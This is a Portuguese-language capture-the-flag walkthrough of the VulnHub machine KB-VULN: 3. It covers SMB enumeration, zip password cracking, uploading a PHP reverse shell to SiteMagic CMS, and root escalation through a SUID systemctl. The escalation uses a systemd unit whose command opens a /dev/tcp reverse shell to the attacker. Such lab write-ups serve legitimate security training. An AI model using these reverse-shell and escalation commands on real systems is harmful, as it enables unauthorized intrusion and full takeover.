KB-VULN: 3 é uma máquina Linux do VulnHub e está classificada como easy level. A máquina tem alguns serviços ativos, como SMB que está acessível via anounymous login.
A partir daí foi possível obter credenciais para acessar o portal de administrador de um CMS zuado.
Então, para conseguir acesso inicial a máquina foi necessário apenas fazer upload de um webshell clássico em PHP. Na etapa do priv-esc a exploração foi através de um systemctl com misconfig de permissões.
Link da máquina: https://www.vulnhub.com/entry/kb-vuln-3,579/
Recon
IP address do nosso target: 192.168.10.3
Vamos iniciar fazendo um portscan simples para descobrimos quais portas e serviços estão ativos externamente na máquina:
nmap -sC -sV -p- 192.168.10.3
Bom, além do print ter ficado com qualidade duvidosa, também tem muita info. Claro que é normal precisar voltar e consultar esse output, mas agora vamos resumir um pouco.
E nesse caso, basicamente o interessante aqui são essas portas e versões encontradas:
+------+-------+-------------+--------------------------------------------------------------+
| PORT | STATE | SERVICE | VERSION |
+------+-------+-------------+--------------------------------------------------------------+
| 22 | open | ssh | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80 | open | http | Apache httpd 2.4.29 ((Ubuntu)) |
| 139 | open | netbios-ssn | Samba smbd 3.X – 4.X (workgroup: WORKGROUP) |
| 445 | open | netbios-ssn | Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) |
+------+-------+-------------+--------------------------------------------------------------+Agora podemos prosseguir para a etapa de enumeração, visando buscar mais infos sobre as versões encontradas, possíveis vulnerabilidades e formas de explorar esses serviços ativos.
Enum
O procedimento mais padrão seria olhar no detalhe cada porta aberta, uma por uma, maaas… uma porta 445/tcp aberta dessa forma chama bastante atenção. Então vamos direto ao ponto!
O smbmap é um utilitário interessante para fazer aquele primeiro contato com um serviço smb:
smbmap -H 192.168.10.3
O output traz informações do host e dos compartilhamentos ativos, inclusive permissões e possíveis comentários.
O login foi realizado com sucesso ao tentar acessar o compartilhamento “Files” utilizando o usuário da minha máquina e sem passar senha:
smbclient //192.168.10.3/Files
Logo na raiz do compartilhamento há um “website.zip”. Muito provavelmente esse arquivo é um backup da aplicação que está rodando na porta 80/tcp.
Vamos obter o tal arquivo e dar uma vasculhada dentro dele:
Quando tentei descompactar o arquivo, descobri que ele estava protegido com senha!
Primeira vez que tive que quebrar a senha de um arquivo .zip, então pesquisei por um tempo no Google e vi que teria como quebrar essa senha fazendo um combo de zip2john + john.
E o procedimento é bem mas simples do que parece:
- Primeiro você extrai as hashes do arquivo .zip, utilizando o zip2john e salva isso num arquivo:
zip2john website.zip > hash.txtO output deve ser mais ou menos assim:
- Agora, basta utilizar o john para tentar quebrar a hash e obter a senha:
john hash.txtCaso queira consultar outras vezes o output do john nessa hash, basta fazer:
john hash.txt --showFicando dessa forma:
Temos que a senha utilizada para proteger o arquivo .zip é: porchman.
Agora, só descompactar o arquivo e continuar analisando o backup da aplicação:
unzip -P porchman website.zip
Logo no arquivo README.txt foi encontrada a seguinte credencial:
Essa credencial pode ser utilizada para acessar o portal de administrador do CMS da aplicação:
O login foi feito com sucesso e agora temos acesso de administrador no CMS da aplicação, o que aumenta bastante as possibilidades de exploração nesse cenário.
Levou um tempo analisando o CMS encontrado e suas funcionalidades!
Como até então não conseguimos obter nenhuma shell no target, e como temos um cenário de um CMS ownado com privilégios de administrador, podemos então fazer uso de uma funcionalidade de upload de arquivos para fazer upload de uma webshell em PHP!
Exploit
Nesse caso específico, estamos explorando a seguinte vulnerabilidade: SiteMagic CMS 4.4.2 — Arbitrary File Upload (Authenticated), que permite que sejam feitos uploads de arquivos arbitrários, ou seja, não há controle do tipo de arquivo que é enviado ao servidor, sendo possível o envio de arquivos maliciosos, inclusive. Clique aqui para detalhes dessa vuln.
O exploit utilizado aqui será um webshell bem básico (aquele php-reverse-shell mesmo) que vai nos retornar uma reverse shell. Clique aqui para obter o mesmo código usado no exploit.
Antes de enviar o arquivo, precisamos alterar algumas coisas no código para que possamos receber a conexão tranquilamente.
Na linha 49 deve ser inserido o endereço IP da máquina atacante e na linha 50 deve ser inserida a porta que vai estar aberta.
Aqui no meu caso ficou mais ou menos assim:
$ip = 192.168.10.2; // Endereço IP da máquina atacante
$port = 8080; // Porta que vai estar aberta na máquina atacanteAgora que o arquivo está nos conformes, faça o upload no Sitemagic CMS:
Verifique se o upload deu certo:
Agora, na máquina atacante, basta abrir uma porta TCP usando o netcat em conjunto com o rlwrap (só pra manter uma sessão melhorzinha):
rlwrap -cAr nc -vlnp 8080Com isso, acessando o arquivo que foi enviado para o CMS, a conexão reversa será estabelecida:
Para uma shell melhor ainda, podemos fazer:
python3 -c “import pty; pty.spawn(‘/bin/bash’)”
É isso, conseguimos uma shell no target. Agora vamos tentar obter privilégios de root, ou seja, vamos fazer o privilege escalation!
Post-Exploitation
Na parte de post-exploitation vamos começar obtendo algumas infos do host comprometido para que possamos virar root.
Como essa máquina é easy level, então foi bem simples identificar o entry point do priv-esc.
Uma forma de ter sucesso nessa task é procurar por binários do sistema que estejam com permissão especial, o SUID.
Quando um executável está com permissões SUID ativadas, faz com que o usuário que execute esse arquivo assuma temporariamente os privilégios do dono do arquivo. Ou seja, se um user está com o SUID ativado para um executável xyz, por exemplo, e o owner desse arquivo xyz é o root, então o user terá privilégios de root ao executar esse mesmo xyz.
Então, dentro desse contexto, para encontrarmos esses arquivos com SUID, vamos fazer o seguinte comando:
find / -perm -u=s 2> /dev/null
Encontramos um binário muito interessante! O systemctl é um utilitário do Linux que controla serviços, como por exemplo o serviço de um servidor web apache2 ou o serviço de um servidor ssh.
Normalmente, trabalhar com esses serviços no Linux requer privilégios administrativos, portanto, o systemctl vai também requerer esse nível de permissão.
Como o user que estamos em posse, o www-data, pode executar esse utilitário como se fosse root, então podemos aproveitar essa falha para escalar privilégios!
O systemctl precisa de uma referência ao iniciar um serviço. Essa referência é denominada systemd unit file, que são arquivos que contêm as informações sobre um serviço, socket, etc. É possível que o usuário escreva seus próprios unit files para inicialização dos serviços que desejar.
A ideia aqui então é escrever um unit file que invoque um shell reverso já no usuário root. Portanto, vamos criar um arquivo do tipo .service com as seguintes informações:
[Unit]
Description=reverse
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c ‘bash -i >& /dev/tcp/<IP_MÁQUINA_ATACANTE>/<PORTA_DA_MÁQUINA_ATACANTE> 0>&1’
[Install]
WantedBy=multi-user.targetAgora salve o arquivo em um diretório com permissão de escrita e verifique se está tudo OK:
Agora que o unit file foi escrito e salvo como pretendido, é necessário ativar o serviço do shell reverso através do systemctl:
$ /bin/systemctl link /dev/shm/reverse.service; /bin/systemctl start reverse.serviceLembrando que é necessário abrir mais uma porta na máquina atacante para receber a conexão reversa:
rlwrap -cAr nc -vlnp 8888Se o exploit estiver funcionado, teremos o seguinte:
E finalmente podemos ler a flag do root:
Se você leu até aqui, muito obrigado, tmj!!!
